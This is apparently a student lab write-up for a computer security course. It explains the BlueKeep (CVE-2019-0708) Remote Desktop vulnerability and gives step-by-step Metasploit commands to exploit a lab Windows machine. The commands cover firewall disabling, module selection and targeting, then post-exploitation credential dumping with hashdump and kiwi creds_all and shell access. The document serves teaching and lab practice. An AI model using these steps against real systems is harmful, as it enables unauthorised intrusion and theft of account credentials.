Pranjali Vinod Thakur
CSEC.742.01/L1 - Computer System Security

**What is BlueKeep (CVE-2019-0708)?**

- BlueKeep is a vulnerability that affects older version of Microsoft Windows. The vulnerability allows attacker to remotely execute code on a vulnerable system without any user interaction. It affects the Remote Desktop Service (RDS) component in older versions of Windows, that is, Windows 7, Windows Server 2008 and Windows Server 2008 R2.
- This vulnerability is extremely dangerous as it can be exploited remotely and there is no need for the attacker to have any authentication credentials or to interact with the user.

**Steps to Exploit:**

**Step 1:**

Disable the Firewalls in the victims Windows machine and make sure Remote Desktop is enabled
To disable the Firewall:

1. Go to the Control Panel
2. Turn Windows Firewall on or off
3. Now Turn off the Home and Public Firewalls

To enable Remote Desktop Protocol:

1. Go to computer Properties
2. Click Remote Settings
3. Now click on Allow connections from computers

**Step 2:**

Check if the RDP is enabled from Kali machine
Open Terminal

1. Enter the following command with the ip address of the victim machine to ensure that RDP is open
   **rdesktop (ip-victim)**
2. If the command fails it is not enabled, if not it will pop up a window.

**Step 3:**

Metasploit commands:

1. Start metasploit console with
   **msfconsole**
2. Search the BlueKeep exploit on metasploit
   **search bluekeep**
3. After getting the details of the exploit we now need to check if the victim machine is vulnerable to the BlueKeep attack
   **use 0**
   **show options**
   **set RHOST (ip-victim)**
   **run**

4. Now we have to set target and exploit the system
   Search bluekeep
   **use 1**
   **set RHOST ip(win)**
   **show targets**
   **set target 5**
   **Exploit**

**Step 4:**

Now that the system is exploited we can execute the following commands on the Windows machine

1. Check if what level of access we have on the Windows system
   **getuid**
2. Check the conmfiguration of the Windows System
   **ipconfig**
3. Get the username and password of the user accounts on the Windows Machine
   **hashdump**
   **load kiwi**
   **help**
   **creds_all**
4. Access the Windows shell from the Kali Machine
   **shell**